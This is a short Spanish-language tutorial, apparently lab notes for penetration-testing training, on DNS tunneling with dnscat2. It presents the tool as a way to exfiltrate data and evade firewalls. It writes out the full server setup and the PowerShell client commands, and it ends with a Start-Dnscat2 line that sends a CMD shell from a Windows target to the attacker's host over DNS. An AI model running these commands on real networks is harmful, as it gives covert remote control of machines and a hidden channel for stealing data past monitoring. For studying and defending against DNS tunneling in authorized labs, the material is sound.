tuneles-dns-con-dnscat2
Tuneles DNS con Dnscat2
Section titled “Tuneles DNS con Dnscat2”dnscat2 es una herramienta que usa el protocolo DNS para crear un canal oculto de comunicación entre dos equipos.
En lugar de hacer consultas DNS normales, envía datos escondidos dentro de las peticiones DNS, normalmente en registros TXT. Así puede exfiltrar información o controlar un equipo de forma cifrada y discreta.
Como el tráfico DNS suele estar permitido en las redes, dnscat2 puede evadir firewalls y sistemas de detección que sí monitorean conexiones HTTP o HTTPS.
Configuración
Section titled “Configuración”1. Clonar repositorio y configurar servidor
Section titled “1. Clonar repositorio y configurar servidor”# Clonar dnscat2git clone https://github.com/iagox86/dnscat2.git# Configurar servidorcd dnscat2/server/sudo gem install bundlersudo bundle install2. Iniciar servidor dnscat2
Section titled “2. Iniciar servidor dnscat2”sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cacheEl servidor, nos proporcionará la clave secreta, que tendremos que proporcionar a nuestro cliente dnscat2 en el host de Windows para que pueda autenticar y cifrar los datos que se envían a nuestro servidor dnscat2 externo.
Despliegue en el target
Section titled “Despliegue en el target”1. Clonación de dnscat-powershell
Section titled “1. Clonación de dnscat-powershell”git clone https://github.com/lukebaggett/dnscat2-powershell.git2. Importando dnscat
Section titled “2. Importando dnscat”Import-Module .\dnscat2.ps1Una vez importado dnscat2.ps1, podemos usarlo para establecer un túnel con el servidor ejecutándose en nuestro host de ataque. Podemos enviar una sesión de shell CMD a nuestro servidor.
3. Enviar shell a nuestro servidor
Section titled “3. Enviar shell a nuestro servidor”Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd